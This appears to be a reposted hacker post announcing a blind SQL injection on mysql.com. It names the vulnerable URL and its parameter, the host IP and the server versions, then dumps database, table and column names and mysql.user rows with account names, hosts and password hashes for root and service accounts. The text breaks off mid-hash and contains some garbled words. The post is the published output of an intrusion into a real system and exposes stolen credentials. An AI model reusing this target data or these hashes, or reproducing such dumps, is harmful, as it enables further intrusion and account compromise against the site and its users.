MySql. Com Vulnerable to Blind SQL Injection

Vulnerable To Blind SQL Injection # By Jackh4xor @ W4ck1ng-Http://www.jackh4xor.com/

Http://www.hackerregiment.com/mysql-com-vulnerable-to-blind-sql-injection.html

The Mysql website offers database software, services and support for your business, including the Enterprise server, the Network monitoring and advisory services and the production support. the wide range of products include: Mysql clusters, embedded database, drivers for JDBC, ODBC and Net, visual database tools (query browser, migration toolkit) and last but not least the MaxDB-the open source database certified for SAP/R3. The Mysql services are also made available for you. choose among the Mysql training for database solutions, Mysql certification for the Developers and DBAs, Mysql consulting and support. it makes no difference if you are new in the database technology or a skilled developer of DBA, Mysql proposes services of all sorts for their MERs.

Vulnerable Target	Http://mysql.com/customers/view/index.html? Id = 1170
Host IP	213.136.52.29
Web Server	Apache/2.2.15 (Fedora)
Powered-	PHP/5.2.13
Injection Type	MySQL Blind
Current DB	Web

Data Bases:

Information_schema
Bk
Certification
C? Ashme
Cust_sync_interim
Customer
Dbasavings
Downloads
Feedback
Glassfish_interface
Intranet
Kaj
License_customers
Manual
Manual_search
Mem
Mysql
Mysqlforge
Mysqlweb
News_events
Partner_t? Aining
Partners
Partners_bak
Phorum5
Planetmysql
Qa_contribution
Quickpoll
Robin
Rp
Sampo
Sampo_interface
Sessions
Softrax
Softrax_interim
Solutions
Tco
Test
Track
Track_refer
Wb
Web
Web_control
Web_projects
Web_training
Webwiki
Wordpress
Zack

Current DB: webTables:

Xing_validation
V_web_submissions
Userbk
User_extra

User Columns: cwpid version lead_quality sfid industry address2 created last_modified lang comment y newsletter gid title fax cell phone country zipcode state city address business company position lastname firstname passwd verified bounces email user_id

Us_zip_state
Us_area_state
Unsub_log
Trials
Trial_external_log
Trial_data
Trial_alias
Training_redirect
Tag_blacklist
Tag_applied
Tag
Support_feeds_DROP
Support_entries_DROP
States
Snapshots_builds
Snapshots
Sakilapoints
Regions
Quote_customer
Quote
Quicklinks
Promo
Product_releases
Position
Partner
Paper_lead
Paper_details_options
Paper_details_old
Paper_details
Paper
Newsletter_unsub
Nav_sites
Nav_items
Mysql_history
Pai_status
Performance_country
Performance_continent
Mirror
Mailing_list_member
Mailing_list
Locks
Lead_validity_rules
Lead_source_xref
Lead_source_external
Lead_source
Lead_routing_rule
Lead_rep
Lead_old
Lead_note
Lead_extra_old
Lead_extra_new
Lead_extra
Lead_companies
Lead_campaign_member
Lead
Language_strings
Language_modules
Imagecache
Hall_of_fame
G_search_term
G_search_data
G_blog_data
Forum_comment
Forms
Field_xref
Field_options
Field_match
Email_blacklist
Email_a_friend
Drpl_manual_review
Drpl_denied
Drpl_check_log
Drpl_cache
Customer_meta_sets
Customer_meta_set
Customer_meta
Customer
Coupon_product
Coupon_campaign_attribute
Coupon_campaign
Coupon
Country
Countries
Campaign_type
Campaign_topic
Campaign_score
Campaign_listdata
Campaign_detail
Business
Bounces

Database: mysqlTable:

User_info

User Column: Update_pri Insert_priv Select_priv Password User Host

Time_zone_transition_type
Time_zone_transition
Time_zone_name
Time_zone_leap_second
Time_zone
Tables_priv
Slow_log
? Ervers
Procs_priv
Proc
Plugin
Ndb_binlog_index
Inventory
Host
Help_topic
Help_relation
Help_keyword
Help_category
General_log
Func
Event
Db
Columns_priv

# Mysql. user Data

Password User Host
Wembaster %
Monitor 10.%
Sys %
Sys localhost
* 06581D0A5474DFF4D5DA3CE0CD7702FA52601412 forumread %
* 0702AEBF8E92A002E95D40247776E1A67CD2CA3F wb %
* 2a57f767d29295b3cb8d01c760d9921349483f85 flipper 10.%
* 32F623705BFFFE682E7BD18D5357B38EF8A5BAA9 wordpress %
* 66A905D4110DF14B41D585FDBCE0666AD13DD8C1 nagios %
* 704EB56151317F27573BB4DDA98EDF00FFABAAF8 root localhost
* Ed1bdc19b08fd1_17ee180169e5ceb2c77f941a mysqlforge %
* FD75B177FFEC3590FE5D7E8459B3DDC60AE8147B webleads 10.%
00680dd718880337 olof %
077f61a8da-69b62 qa_r %
077f61a8da-69b62 qa_rw %
077f61a8da-69b62 qa_adm %
0c2f46ba6b87d4ea